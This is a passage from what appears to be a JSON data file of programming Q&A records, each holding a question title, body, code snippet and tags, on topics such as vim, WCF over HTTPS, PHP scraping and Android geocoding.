(CGFloat)newHeight {\n CGRect f = self.frame;\n f.size.height = newHeight;\n
self.frame = f;\n}\n", "objective-c lambda block"], "2390910": ["How to know
arguments of username/password for HTTP Post", "Websites have different login
details like Email/Password, Username/Password etc. Is there a way to know what
will i put in an HTTP Post so that i can login automatically?\n", "", "http post
website"], "4943118": ["How can I swap positions of two open files (in splits) in
vim?", "Assume I've got some arbitrary layout of splits in vim. \n\nIs there a way
to swap and and maintain the same layout? It's simple in this example, but I'm
looking for a solution that will help for more complex layouts.\nUPDATE:\nI guess I
should be more clear. My previous example was a simplification of the actual use-
case. With an actual instance:\n\nHow could I swap any two of those splits,
maintaining the same layout?\n", "____________________\n| one | two |\n|
| |\n| |______|\n| | three|\n| | |\n|
___________|______|\n", "layout editor split vim"], "698192": ["Show an ASP.NET
Validation Summary in a jQuery UI Modal Message", "I've made an ASP.NET web form
that uses the standard ASP.NET validation. I'd like to make the error summary show
up in a jQuery UI Modal Message as well as below the actual form.\nIs it possible
to execute the script if the validation finds an error?\n", "", "asp.net javascript
jquery-ui"], "3901475": ["What level of zoom lens comes with a new Canon EOS
1100D?", "I am a complete newbie to DSLRs.\nI am planning on buying a Canon EOS
1100D SLR with Kit (EF S18-55 IS II). (It's also known as the Canon Rebel T3.)\nI
have a 10x optical zoom in my Point and Shoot camera.\nDoes the Canon EOS 1100D
with EF S18-55 IS II have a similar concept ? What is the default zoom it comes
with ?\n", "", "lens zoom kit-lens"], "5975179": ["New version of NuGet not working
on VS2010", "I've downloaded ASP.NET MVC 3 RC and the new NuGet CTP version.\nWhen
I try to install anything in the thru the Package Manager Console I get the an
error message. Here are two samples:\n\nWhen I use the Add Library Package
Reference in the Solution Explorer no message is displayed but the package is not
installed.\nI tried to revert to NuPack and it works fine but the Package list is
not updated (for instance SQLCE.EntityFramework 4.0.8435.1 is not been displayed
only 4.0.8402.1).\nAny help?\n", "PM> nip elmah\nInstall-Package : Object reference
not set to an instance of an object.\nAt line:1 char:4\n+ nip <<<< elmah\n +
CategoryInfo : NotSpecified: (:) [Install-Package],
NullReferenceException\n + FullyQualifiedErrorId :
NuGet.VisualStudio.Cmdlets.InstallPackageCmdlet\n\n\nPM> nip SQLCE.EntityFramework\
nInstall-Package : Object reference not set to an instance of an object.\nAt line:1
char:4\n+ nip <<<< SQLCE.EntityFramework\n + CategoryInfo :
NotSpecified: (:) [Install-Package], NullReferenceException\n +
FullyQualifiedErrorId : NuGet.VisualStudio.Cmdlets.InstallPackageCmdlet\n",
"visual-studio-2010 nuget nuget-package"], "251157": ["Hide thumbnails for
fullscreen HTML5 jQuery slideshow (text-only link to initialize slideshow)", "I
have grown to really like this fullscreen HTML5/jQuery
slideshow:\nhttp://eikes.github.com/jquery.fullscreen.js/\nAs with most
lightbox/gallery slideshows, a set of thumbnails is displayed and the user is able
to click any of them to start the slideshow. The set of thumbnails equals the
number of images that will be displayed in the slideshow.\nIs it possible to not
display the thumbnails at all? Can I just display a
single text link that starts the slideshow?\nLightbox 2's markup looks like this:\
n\nIt is similar to the \"jQuery HTML5 Fullscreen Slideshow\" I mentioned earlier.
It looks like I can easily have text-only links by just putting text inside the
anchor tag, instead of the usual tag that displays the thumbnail.\nNow for the
real question: Can I hide the other two links and just display one? That way a
single link is displayed, but the slideshow still pulls up three images. I thought
about just using css by putting on the links, but it didn't seem like the right
thing to do. There are other ways of visually hiding it with css, but I thought
maybe there would be a better way with javascript. I am not that experienced with
javascript, unfortunately. \nHere is my testing site running the jQuery HTML5
Fullscreen Slideshow. For some reason, it requires an within the anchor tag to
initialize the slideshow.\n", "<a href=\"images/image-1.jpg\"
rel=\"lightbox[roadtrip]\">image #1</a>\n<a href=\"images/image-2.jpg\"
rel=\"lightbox[roadtrip]\">image #2</a>\n<a href=\"images/image-3.jpg\"
rel=\"lightbox[roadtrip]\">image #3</a>\n", "jquery html5 lightbox fullscreen
slideshow"], "2787302": ["How to OData Service(OData) Bytes array into UIImage",
"In my iPhone project,I use Odata Service to get data from SQL Server database from
web server and update data to client SQLite database.But I face problem in
image.Server return binary array for image and this binary array is convert to
NSData object.I want to convert this NSData object to UIImage. I use [UIImage
imageWithData:] method but It is not ok for me.How to convert this NSData object
into UIImage?\n", "", "iphone objective-c cocoa-touch odata"], "3915184": ["How can
CMake be used to generate Makefiles with personalized commands?", "I like to keep
my Makefiles flexible and multifunctional. One of the tasks I usually add to
command is , for example the following instruction does the job:\n\nMy question is:
How can CMake be used to generate personalized commands like ?\nI would like to see
some code samples.\nFor the full functionality it would be useful to create
project's components and be able to use them as parameters.\n(Exempli gratia:
archive only header files or some specific library).\nThanks in advance for your
answers!\n", "make", "makefile make project cmake tar"], "602405": ["How to solve
$x \\log^2x - c=0$?", "I'm optimizing parameters to an algorithm to minimize its
run time. Substituting some variables to clean up the presentation, I basically
need to solve\n$x \\log^2x - c=0$, but I forget how to solve an equation of this
form. How can I do this? \n", "", "calculus"], "5312885": ["Python/BeautifulSoup:
Scrape Data from Web Pages", "I am a beginner in Python programming, and I am
trying to learn how to scrape web pages. What I'm trying to do is to scrape data
from this web page\nI am trying to scrape the from the above page (You can see the
if you open the web page). I am facing some problem with this.\nThis is the code I
wrote for this.\n\n", "ISSUE DATE", "python beautifulsoup"], "4820199": ["Is there
a builtin macro defined when optimisation is enabled in clang?", "When compiling
with gcc, the macro is defined when optimisations are turned on (see here). This
enables runtime warnings like the following:\n\nIs there a similar macro for clang?
I wasn't able to find one in the documentation here.\nOr, even better, is there a
way to do this that will work across all compilers?\n", "__OPTIMIZE__", "c
optimization macros clang"], "5116680": ["Twitter::Error::Unauthorized in
PostsController#create - Invalid or expired token", "Why does \"create\" throw me
an invalid/expired token error?\nThe users are able to log in just fine (so they
are authenticated properly) but when they try to create a post, I get this error.
I'm using Omniauth gem (v1.1.4) for authentication and Twitter gem (v4.6.2) for the
posting to Twitter. The Omniauth-twitter gem is v0.0.16 if that matters. \nThis is
the code that is causing me an error \n\nThis is part of the user model (user.rb)\
n\nHere's my omniauth initializer\n\nmy schema:\n\n", "class PostsController <
ApplicationController\n def create\n Twitter::Client.new.update(@post.content)\
n end\nend\n", "ruby-on-rails ruby twitter omniauth twitter-oauth"], "1857778":
["Should a 2.0 card work on 1.0 PCI Express slot?", "I want to buy the ZOTAC ZT-
50401-10L GeForce GTX 550.\nWhich is PCI Express 2.0 x16.\nI am a bit concerned
about this because the official tech support said:\n\nThe Motherboard Asrock G41M-
VS3 R2.0 has a 16X PCI-Express slot first generation, and works well with this
current generation either be ATI or NVidia, do not install a second generation card
because it won't be detected. \n\n", "", "graphics-card nvidia pci-express"],
"1785511": ["Multiple form fields with same 'name' attribute not posting", "I'm
dealing with some legacy HTML/JavaScript. Some of which I have control over, some
of which is generated from a place over which I have no control.\nThere is a
dynamically generated form with hidden fields. The form itself is generated via a
Velocity template (Percussion Rhythmyx CMS) and JavaScript inserts additional
hidden form fields. The end result is hidden form fields generated with the same
'name' attribute. The data is being POSTed to Java/JSP server-side code about which
I know very little.\nI know that form fields sharing the same 'name' attribute is
valid. For some reason the POSTed data is not being recognized the back end. When I
examine the POST string, the same-name-keys all contain no data.\nIf I manipulate
the code in my dev environment such that only a single input field exists for a
given name, the data IS POSTed to the back end correctly. The problem is not
consistent, sometimes, it works just fine.\nIs there something I can do to
guarantee that the data will be POSTed? Can anyone think of a reason why it would
not be?\n\n", "I should really update my answer and post code here, because POST
requests without \nvariable strings indicates the problem is on the client side.\
n", "javascript html jsp mootools"], "5178337": ["Event handling mechanism between
ManagedBeans in JSF2?", "Is there a way to decouple ManagedBeans from each other in
a way that it is possible to send and receive custom events - probably over the
(cool) FacesContext?! I do not want to inject Beans as ManagedProperty, to reduce
direct dependencies. Unfortunately @ListenerFor and all that new stuff does only
work for components and renderers and seems completely the wrong approach.\nThose
of you who are familiar with Adobe Flex' event mechanism know what I mean and what
I expect from a standardized web UI framework.\nPlease let me know an elegant way
that is included in the JSF specification without the need to implement another
framework around.\n", "", "events jsf jsf-2.0 dependencies coupling"], "5212630":
["Compiling a MFC app from Visual Studio 2010 to 2012 RC results in LNK2038", "My
project is compiling and running OK in debug and release modes in VS 2010.\nToday I
tried to compile it with VS 2012 and I got this error :\n\nI searched
for \"_MSC_VER\" in the code but I could not find any match. Neither could I
find \"1600\" or \"1700\". \nSo I am wondering how I can solve this problem.\n",
"1> Generating Code...\n1>pcrecppd.lib(pcrecpp.obj) : error LNK2038: mismatch
detected for '_MSC_VER': \nvalue '1600' doesn't match value '1700' in
NamesEditorDlg.obj\n", "c++ visual-studio-2010 mfc linker-error visual-studio-
2012"], "5259548": ["Using squid3 with Tor", "My internet connection comes with a
data usage limit. So I can make best out of it only by using squid caching proxy.
How can I configure squid3 to work with Tor on ubuntu.\n", "", "squid tor"],
"3935932": ["Data structure for a navigational sequence", "I have a Silverlight LOB
application that has a page that will need to be visited 4 times before moving on
to the next page. I want a data structure to hold a marker to the point in that
sequence. I might render a display to show where you are like this: o---\u25cf---
o---o\nI tried an enum, but I need to associate each point with small int value
that is then used to located files via HTTP. This seems so simple but if I start
putting if blocks and magic variable values everywhere that is messy, so I wanted
to see what people here had to say.\n", "", "data-structures data silverlight-4.0
wcf-ria-services"], "1452624": ["Interface Builder (iPhone dev) custom button
background Image does not respect Stretching settings", "I'm attempting to create a
custom button using a background image in Interface Builder. The image has
stretchable and non-stretchable parts so that it can be resized.\nIB exposes the
Stretching properties to allow for this, yet no values I put in affect how the
button appears. It is always fully stretched to fill the size of the frame.\nIs
this this a unsupported feature in IB or in UIButton perhaps?\n\n(Note: The above
stretch values are not the ones that will work with the image properly, but just
the values I was messing with at the time of the screenshot)\n", "", "iphone xcode
uikit interface-builder uibutton"], "2468631": ["CLR trigger in a web-
application?", "I just started using SQL-CLR for creating a very basic trigger...
but while I did that another question \"poped up\"..\nIs there anyway to actually
make a SQL-trigger to trigger a method inside a web-application?..\nMy first idea
was to have a web service which would be located in the web-applicatoion which the
SQL-CLR then called..\nThe whole idea is that once the trigger gets \"triggered\"..
it will call a SignalR-hub which then alerts the client about that something
happened in the database..\nthe whole thing is more experimental for me..\nThe
reason I cant use the web-service-way.. is that it would require an additional
request for each
time the trigger gets \"triggered\"\n", "", "asp.net sql-server clr signalr"],
"5364381": ["Wrapping unmanaged code using multiple processors", "I have an
existing application written in c++ that does a number of tasks currently, reading
transactiosn from a database for all customers, processing them and writing the
results back.\nWhat I want to do is have multiple versions of this running in
parallel on separate machines to increase transaction capacity, by assigning a
certain subset of customers to each version of the app so that there is no
contention or data sharing required, hence no locking or synchronisation.\nWhat I
want to do though is have multiple versions running on the same machine aswell as
distributed across other machines, so if I have a quad core box, there would be
four instances of the application running, each utilising one of the CPU's.\nI will
be wrapping the c++ code in a .NET c# interface and managing all these processes -
local and distributed from a parent c# management service responsible for creating,
starting and stopping the processes, aswell as all communication and management
between them. \nWhat I want to know is if I create four instances each on a
separate background thread on a quad core box, whether or not the CLR and .NET will
automatically take care of spreading the load across the four CPUs on each box or
whether I need to do something to make use of the parallel processing capability?\
n", "", "c# c++ multiprocessing load-balancing"], "4537339": ["why code not working
althoug it looks okay to me?", "I previously found a script while googling and used
it for scrapping purpose, my main class \nin my amazon.php, I wrote the following
script\n\nthe url for this scrip is amazon\nwhen I echo it, var_dump it or print_r,
an empty array is displayed, I checked the page using firebug and to me, looks like
everything is okay in my code\ncan somebody tell me why I can access anything from
the page although my code is okay?\nthanks for helping me\nEDIT:-\nBy adding return
in my scrap class function fetch($url), I have assured that Page is being retrieved
successfullly...\nEDIT-2:-\nafter working on the advice as provided in answer, it
tried\n\nin my function, but still the same empty array\nEDIT-3\nI changed the
following function \n\nwhen I echo in my script file, \n\nit was null data\n\nis
printed, so looks like this line of code is not working, \nam I right?\nif yes,
what to do now?\n", "include('scrape.php');\nset_time_limit(0);\n\n\n$ASIN =
'B000GEM3RI';\n$shipArray = shipingPrice($ASIN);\nvar_dump($shipArray);\
nprint_r($shipArray);\necho $shipArray;\n\n\n\nfunction shipingPrice($city){\n
$shipArray = array();\n $scrape = new Scrape();\n $url =
'http://www.amazon.com/gp/offer-listing/'.$city.'/ref=dp_olp_new?
ie=UTF8&condition=new';\n $scrape->fetch($url);\n $data = $scrape-
>removeNewlines($scrape->result);\n $data = $scrape->fetchBetween('<table
cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" border=\"0\"> <thead
class=\"columnheader\"><tr><th scope=\"col\" class=\"price\">Price +
Shipping</th><th scope=\"col\" class=\"condition\">Condition</th><th scope=\"col\"
class=\"seller\">Seller Information</th><th scope=\"col\"
class=\"readytobuy\">Buying Options</th></tr></thead>','</table>',$data,true); \n
$rows = $scrape->fetchAllBetween('<tr','</tr>',$data,true);\n $i=0;$j=0;\n
foreach ($rows as $row){\n if($i!=0){\n if($i!=2){
\n $record = array();\n $cells = $scrape-
>fetchAllBetween('<td','</td>',$row,true); \n
$record['price'] = strip_tags($cells[0]);\n\n
if(stristr($record['price'],'oz')===False &&
stristr($record['price'],'/')===False)\n {\n
$listPrice=$scrape->fetchBetween('$',' +',$record['price']);\
n }else{\n $listPrice=$scrape-
>fetchBetween('$',' (',$record['price']);\n }\n
//print_r($listPrice);\n if($listPrice==''){\n
$listPrice=$scrape->fetchBetween('$',' &',$record['price']);\n
$shipPrice='0'; \n }else{\n
$shipPrice=$scrape->fetchBetween('+ $','s',$record['price']);\
n }\n $shipPrice= floatval($shipPrice);\n
//#### \n $sellerIdInfo = $cells[2];
$sellerIdArray=$scrape->fetchAllBetween('&marketplaceSeller=0&seller=','\"><b>',
$sellerIdInfo); \n if(count($sellerIdArray)>1)
{\n $sellerId=$sellerIdArray[0];\
n }else{\n $temp = explode('\"id',
$sellerIdArray[0]);\n $sellerId=$temp[0];
\n }\n //##\n $sellerName
=$scrape->fetchBetween('Seller:','Seller',$record['price']); \n
$sellerInfo=$scrape->fetchAllBetween('alt=\"','\"',$cells[2],true); \n
$sellerName=str_replace(array('alt=\"','\"'),array('',''),$sellerInfo[0]);\n
if($sellerName!=\"\"){ \n //\
n }else{\n $sellerName = $scrape-
>fetchBetween('<span class=\"sellerHeader\">Seller:</span>','</b></a>',
$cells[2],true);\n $sellerName=str_replace(\"Seller:\",\"\",
$sellerName);\n
$sellerName=$scrape->fetchBetween('<b>','</b>',$sellerName); \n
}\n\n
array_push($shipArray,array('sellerName'=>$sellerName,'sellerId'=>$sellerId,'price'
=>$listPrice,'shipPrice'=>$shipPrice));\n\n }\n }\n
$i++;\n }\n return $shipArray;\n}\n", "php arrays function screen-
scraping amazon"], "2405490": ["WCF On HTTPS Generates \"The provided URI scheme
'https' is invalid; expected 'http'.\"", "I have been googling everywhere I can
possibly find (including here on Stackoverflow) to figure out an error I've got
trying to deploy a WCF service to IIS 7.5 on Windows 7 x64 that runs only over SSL
with basic HTTP authentication. I've got a site in IIS which has a binding to port
50443 for HTTPS with a self-signed cert. (I can't use the standard port 443, as we
plan on deploying this to IIS on a server which is already running Tomcat which is
listening on 80 and 443.)\nThis is the web.config:\n\nIf I browse to the service
endpoint address and enter the basic authentication credentials manually, I get the
following exception error message displayed in my browser:\n\nThe provided URI
scheme 'https' is invalid; expected 'http'.\n Parameter name:
context.ListenUriBaseAddress\n\nThis is the same error I got trying to run a WCF
client against a similar service, except that it ends with \"Parameter name: via\"
(because the parameter name of the method that shows up in the call
stack, \"System.ServiceModel.Channels.TransportChannelFactory`1.ValidateScheme(URI
via)\", is in fact \"via\").\nI've tweaked the server and client config files so
many times I've lost track, but the web.config file above is my best guess so far--
and it doesn't even work from a browser, much less a WCF client.\nWhat do I need to
do to access a WCF service hosted in IIS 7.5 on a nonstandard SSL port with basic
HTTP authentication over HTTPS? Help! (& Thanks!)\n", "<configuration>\n
<system.web>\n <compilation debug=\"true\" targetFramework=\"4.0\" />\n
</system.web>\n <system.serviceModel>\n <behaviors>\n <serviceBehaviors>\n
<behavior>\n <serviceMetadata httpsGetEnabled=\"true\"/>\n
<serviceDebug includeExceptionDetailInFaults=\"false\"/>\n </behavior>\n
</serviceBehaviors>\n </behaviors>\n <bindings>\n <basicHttpBinding>\n
<binding name=\"SSLBinding\">\n <security
mode=\"TransportCredentialOnly\">\n <transport
clientCredentialType=\"Basic\"/>\n </security>\n </binding>\n
</basicHttpBinding>\n </bindings>\n <services>\n <service
name=\"HelloWorldWcf.HelloWorldWcfService\">\n <endpoint
name=\"HelloWorldWcf.HelloWorldWcfService\" \n
address=\"https://mylaptop:50443/HelloWorld/Service1.svc\" \n
binding=\"basicHttpBinding\" \n
bindingConfiguration=\"SSLBinding\" \n
contract=\"HelloWorldWcf.IHelloWorldWcfService\"/>\n <endpoint
address=\"https://mylaptop:50443/HelloWorld/Service1.svc/mex\" \n
binding=\"mexHttpsBinding\" \n contract=\"IMetadataExchange\"/>\n
</service>\n </services>\n </system.serviceModel>\n <system.webServer>\n
<modules runAllManagedModulesForAllRequests=\"true\"/>\n
</system.webServer>\n</configuration>\n", "wcf ssl https iis-7.5"], "2391031":
["Geocoding example not working", "I have written a simple geocoding application
but it is not working.I have given all necessary permissions.Please someone tell me
where i am going wrong.Thanx in advance.\n\n", "public class ForgeocdingActivity
extends Activity {\n Geocoder gc;\n /** Called when the activity is first
created. */\n @Override\n public void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.main);\n
final EditText ed=(EditText)findViewById(R.id.editText1);\n Button
b1=(Button)findViewById(R.id.button1);\n final String to_add =
ed.getText().toString(); \n b1.setOnClickListener(new OnClickListener()
{\n\n @Override\n public void onClick(View arg0) \n
{\n try\n {\n List<Address> address2 =
gc.getFromLocationName(to_add,3);\n\n if(address2 != null &&
address2.size() > 0)\n {\n double lat1 =
address2.get(0).getLatitude();\n double lng1 =
address2.get(0).getLongitude();\n
Toast.makeText(getBaseContext(), \"Lat:\"+lat1+\"Lon:\"+lng1,
Toast.LENGTH_SHORT).show();\n } \n }\n
catch(Exception e)\n {\n e.printStackTrace();\n
}\n }\n });\n\n }\n}\n", "android geocoding"], "4462620":
["Geronimo deployment error: Invalid JAR file", "We have a Geronimo-based app that
works fine. We're trying to automate the installation/deployment and that's where
I'm stuck: Deployment of JMS resources in Geronimo 2.2. \nCreating the resources
(Queue and Topic connection) from the Geronimo console works fine but I can't
achieve the same using the CLI deploy tool.\nI use the console to configure the
resource and click Show Plan instead of Deploy. I save the plan into (link) and
run the following command as explained in the console:\n\nThe deployment fails:\n\
nWTF! It's an XML file, not a JAR. There's no JAR involved. And it's copied
straight from the console.\nAlso, docs contradict each other about the order of the
plan file (XML) and module (rar file) arguments. I've tried both and I get the same
error though.\nTIA for shedding some lights. FWIW, I'm a Java/J2EE newbie.\n",
"queue-topic-plan.xml", "java-ee deployment geronimo"], "4479280": ["Disable
automatic screen lock in XFCE in Centos", "I have a generic install of Centos 5.8
with XFCE 4.4. Pretty much all defaults. As is, after a certain amount of idle
time the screen locks (goes black, requires a password to continue). \nHow do I
disable the automatic screen lock?\nI've searched around and read suggestions to
use the settings manager to modify the Power Manager or Screen Saver settings but
neither of those settings managers/panels/icons are installed on my desktop. \
nUPDATE: \nIt appears is being started automatically. Of course I could remove
that program from the system, but I'd prefer to understand what's going on and use
more ordinary configuration methods to prevent it from automatically starting and
at the same time keep the option of switching back to it if needed.\n", "gnome-
screensaver", "gnome xfce screen-lock"], "12217": ["how to GET and POST on Twitter
or facebook in ruby on rails using access tokens", "I am using omniauth to
authenticate a user via twitter, now as mentioned by twitter API REST architecture,
I need to send a GET or POST request to Twitter\ntwitter api documentation !\nI am
not able to find a good tutorial for this.\nEven for facebook if I want to GET or
POST, how do I do that ?\nIs there a generic way ?\nCan anyone help ? thanks.\n",
"", "ruby-on-rails facebook twitter-api twitter-oauth omniauth"], "5574826":
["Turning SQLite data into something usable for a streamcast search engine", "I'm
working on a Starcraft 2 streamcast search engine. I've written a kind of 'crawler'
using the Youtube API (in Python) and have saved about 10,000 records (caster,
title, description, URL, etc.) to an sqlite3 database.\nI want to create a nice
front end in Django or Flask, and have search functionality so that users can
browse games by their favorite players, casters, maps, etc.\nMy question is: With
my end goal of creating a search engine in mind, is sqlite3 a suitable way for me
to be storing my data? \nAny advice would be much appreciated!\n", "", "django
sqlite search search-engine"], "5494174": ["WCF Data Services - How to write this
Select LINQ Query", "I have a WCF Data Service. I cannot use this format (Long
story, proxy class in the middle)\nI'm trying to write this LINQ query : \n\nto
something like this\n\nI have no success, I get \n\nCan someone help???\nThank you\
n", "from w in je.Streets\nwhere w.CityId == (int)cb_City.EditValue\nselect new\n
{\n HebName = w.HebName,\n EngName = w.EngName,\n ID = w.StreetID\n
}).ToList();\n", "c# wcf wcf-data-services"], "3928530": ["\"Back button\" doesn't
close activity", "I have two activities in my application.\nThe first is a map with
item overlays proceddents from a BBDD as a geopoints. If I click on one of this
points, it shows me the activity, which only shows the name, a description and a
photo of the site that the user had selected.\nI have the next problem:\nIf in my
BBDD I have 10 sites, when I'm seeing one of them, if I click the back button, I
must to make 10 back button clicks, because app reloads the same activity 10 times,
all with the same data.\nI don't have any ideas about where the problem is. I'm
trying to force finish with a \n\nbut nothing happens.\nI think the problem may
be in the onTap method. Here are my activities:\n\nAnd this is the activity.\nI
don't think this is the source of the error, but I also included it.\n\nAnd this is
the method, that I use in the onTap method:\n\n", "mostrarLugar", "java android
activity back-button"], "698197": ["Alternate method in referenced assembly when in
debug mode using [Conditional(\"DEBUG\")]", "Im trying to make a method in an
assembly that behaves differently when the calling assembly is in Debug
configuration.\nSpecifically, I have a Mailer library that uses templates to create
and send e-mails. Since I don't want to accidentally spam a client with debug mails
I'm trying to make 2 versions of my method.\nThe idea is that in Debug mode will
be cleared and a default mail address will be used instead (i.e. our own internal
mail address). I would like this to be as transparent as possible, without
requiring extra code or configuration on the calling side.\nThe problem is that the
Mailer library gets built into a Nuget package and therefore is always in Release
build.\nI wanted to do something like this:\n\nThis doesnt work since the calling
method is the SendMail method, which is in Release configuration.\nIs there a way
to use the same method call so the public interface remains the same but still get
this functionality?\nI guess the alternatives would be using an optional parameter
or a config setting or something along those lines, but I'd prefer to do it without
having to edit any other code outside this assembly.\nThanks in advance.\n",
"SendMail", "c# .net debugging"], "3976580": ["Extjs4 treepanel expand upto
particular level", "I'm handling pretty much interesting and complex tasks in
Extjs. I'm facing issues with treepanel and tabpanel expanding. I've a Tabpanel in
Viewport table layout.And My tabpanel contains tabs like Tab1,Tab2,tab3 etc.. In
this some tabs have different treemenus in the left side. For example Tab2 may have
treepanel nodes like Node A, Node B,etc.. in Tab3 and Tab4 I have some links which
are pointed to some Node B in Tab2 or it may pointed to childrens of Node B.For
best understating my layout please check the bellow image. \n \nSo When I click on
the link then Tab2 should activate and the left side treepanel should expand upto
the particular node/child node level. I've done this In Extjs2 with lots of
hardwork. Now i'm migrating to Extjs4 but it's not working. \nFor better
understanding this issue i\"m adding tab3 screen short also. Please look in to
screenshot.\n\nWhen clicked on Category:: Node link then \"Tab2\" should activate
and left side tree menu should expand upto Node A. Where as when click on Sub-
Category:: Node A - Child A link then \"Tab2\" should activate and left side tree
menu should expand upto Node A --- > Child A and also Child A Should be selected.\
nWould be happy if you people suggest me any help.\nCan any one have grate ideas?
\n", "", "tree extjs4 viewport expand tabpanel"], "5822019": ["Would combining raw
operator new, placement new and standard delete be legal?", "guys! Out of curiosity
\u2013 the following code would probably not be legal, would it?\n\n", "T *p
= ::operator new(sizeof(T)); // allocate memory for a T\nnew (p) T; // construct a
T into the allocated memory\ndelete p; //delete the object using the standard
delete operator\n", "c++ memory-management new-operator"], "6010129": ["php styling
images separately when called dynamically", "I have created the function to return
the images name and id based on a product search. I want to display all the images
but I want each image to have a different styling. I guess there's a way of
incrementing the div id but not sure. Here's my function and call: \n\nHere's the
function call displaying the images\n\n", "public function
getImages($searchterm=\"\"){\n$sql = \"SELECT id FROM prod_detail \nWHERE
prod_detail.int_prod_code LIKE '$searchterm' ORDER BY `id` ASC\";\n\n$stmt =
mysqli_query($this->connection, $sql)or die(mysqli_error($this->connection));\
nwhile($result = mysqli_fetch_array($stmt)){\n\n$sql2=\"SELECT image_name FROM
images WHERE image_ref={$result['id']}\";\n$stmt2 = mysqli_query($this->connection,
$sql2)or die(mysqli_error($this->connection));\n$num_rows =
mysqli_num_rows($stmt2);\n\nwhile($result2 = $stmt2->fetch_assoc()){\nforeach
($result2 as $key => $value) {\n$returns = $this->dir . $value;\n}\n}\n}\nreturn
$returns;\n}\n", "php image call styling dynamically-generated"], "3281687": ["SSL
certificates and group policy", "We are in the process of rolling out a new website
and want to secure the administrative parts with ssl/https. As we see it there is
no reason to purchase an ssl certificate from a root CA since the administrative
part is not to be seen by customers so we just want a (self-signed) ssl certificate
to protect the communication.\nTo make the experience as nice as possible for in-
house
users we want to trust this certificate but instead of requiring all users to
manually install the certificate we would like to push this certificate to all
users using group policy (or something similar). Is that possible for a self signed
certificate?\nAn additional question; we also have a testserver deployed inhouse
and would like to secure that as well (the internal testserver will have an
internal DNS/IP) but can we use the same selfsigned ssl certificate as we use on
the public website or would we require a different one (which we then also could
push out via group policy)\nHope the question makes sense...\n", "", "group-policy
ssl-certificate self-signed"], "2821796": ["how can i make google cache delete old
webpages and start to index new ones", "Hello\ni have a problem concerning google
cache my old content urls while i created a new website\nI have an old website
where the old webpages are dead now and created a new website with new webpages.\
nBecuase I have old content so when people search on Google for old content the old
URLs appear in the search results (as it was cached) instead of the new ones which
should be appearing (but not indexed yet), this is becuase the old content is
already indexed by Google and the new ones are not indexed yet. \nWhile when people
search of new content the new URLs appear. So for the new content there is no
problem, but the problem I have is with the old content.\nFor that reason above,
now I created a new pages with the old URL names to redirect to the new page with
the new URL when people search for old content.\nMy question is what I did to solve
this will help the old URLs to disappear from Google cached pages and start to
index the OLD content with new URLs instead or should I keep with page not found?\
nHere's an example of the case I have:\nWhen I search for old content this URL
appear in search results --\nwww.domain-name.com/Sectionnewsdetail.aspx?id=10132\
nwhich is deleted and land on page not found\nSo I created a webpage with the old
name \nSectionnewsdetail.aspx to redirect to the new content page
--\nhttp://www.domain-name.com/Content/SectionNews.aspx?NewsID=13855\nwhenever any
one click on the old url on google my solution redirects him to the new page\nSo
which case will help Google cache forget the old URLs and index the new URLs.\
nKeeping page not found or the solution I did as explained above?\nThanks in
advance\n", "", "search-engine google-search google-index"], "4989663": ["how to
factor dao with class parameter", "I want to create a Factory which returns dao-
instance, depending on the Class clazz\nTeammember, Scene and Equipment are my
Model Classes.\nMy DAO's look like this:\n\nmy Factory looks like this:\n\nI was
thinking about switch and polymorphism, but I couldn't figure out how.\nBasically I
want to find the Implementation \"SomeClass implements JdbcDAO\"\nMy first approach
was: \n\nbut I don't feel good with handling this with String method. Besides, it
doesn't work, if I have different Model and Dao names (like: JDBCMemberDAO instead
of JDBCTeammemberDAO)\n", "public class JDBCTeammemberDAO implements
JdbcDAO<Teammember>\n", "java class reflection factory"], "1199808": ["Which Linux
distribution should I use as a Xen host?", "I ordered a server for the home office
and I would like to partition it with Xen. I think this will keep things clean and
easier to maintain. I will be running things like MySQL, PostgreSQL, Tomcat, and my
own code.\nWhat freely available Linux distribution has the best Xen hosting
facilities?\n", "", "linux sysadmin xen"], "4848139": ["How to Bootstrap SQL Server
2008 Express SP1?", "I am trying to bootstrap SQL Server 2008 Express SP1 into my
application. Previously I used Wise for Windows to perform the prerequisite
installation, but Wise doesn't support Windows Installer 4.5 yet.\nI am now trying
to use the Visual Studio 2008 bootstrap technology with WiX 3.0, and have had good
success getting the SQL Server prerequisites, and am able to get the manifest for
SQL Express 2008 but not SP1. Also, I need to be able to localize the SQLAccount,
but I won't be able to do that through modifying package.xml AFAIK. In my previous
solution, using Wise, I was able to collect the localized string from the target
system and pass the parameter directly to the installer command line.\nSo really,
two questions:\n\nWhere can I find the bootstrap manifest files for SP1 (or can I
make them?)\nHow can I localize the SQLAccount since it appears that the command
line parameters are decided at compile time with the Visual Studio bootstrapper.\n\
n", "", "visual-studio visual-studio-2008 wix sql-server-2008-express
bootstrapping"], "5231283": ["Replicating the background colour on a WPF control",
"I have written a user control which consists of a ListBox and a couple extra
controls. I want to wrap the whole thing in a border using the same brush as a
standard ListBox would have.\nMSDN has a page given a standard style for the
ListBox, but it has hardcoded colours whereas a standard ListBox uses different
styles on different platforms or with different themes. How can I recreate the
border of a ListBox in my own control?\n", "", "wpf styles"], "5855351": ["Trying
to write a rake task that will fail if the database exists", "Given that rake
db:drop does not fail if it can't drop the database, I am trying to find a rake
task that will fail if the database is still there. Any ideas?\n", "", "ruby-on-
rails rake"], "2398549": ["Can I tell JSF that an f:attribute applies to some part
of my composite component?", "In the following example, can I somehow tell JSF that
an applies to some specific component, just like I can use in and ?\n\n\
nBackground:\nFollowing BalusC's solution to a JSF issue, I use a custom validator.
To feed that validator with some parameters, is used.\nNext, when using a
composite component with I can (in fact: must) assign the validator to an actual .
But I fail to do the same for the s, so these are added to the calling parent
component instead. For example:\n\n...used with as shown on top of this post,
binds the validator to , but the attributes are bound to .\n\nWorkarounds:\nThe
documentation for indeed states: \n\nAdd an attribute to the UIComponent
associated with the closest parent UIComponent custom action.\n\nAnd given that,
the following composite component also works as expected:\n\n...with:\n\nAlso, I
can easily extend BalusC's BindableDoubleRangeValidator to recurse into the parent
components to get the value:\n\nStill: any better solution?\n", "<f:attribute>",
"java jsf-2 attributes composite-component"], "4563649": ["Capybara and Rails, Why
has_link? always returns false?", "I am trying to test with has_link? in my spec
test, here is my test:\n\nbut, the test always fail, although the link with id
'next_page' dose exist!\nthe strange thing is that have_content always works fine,
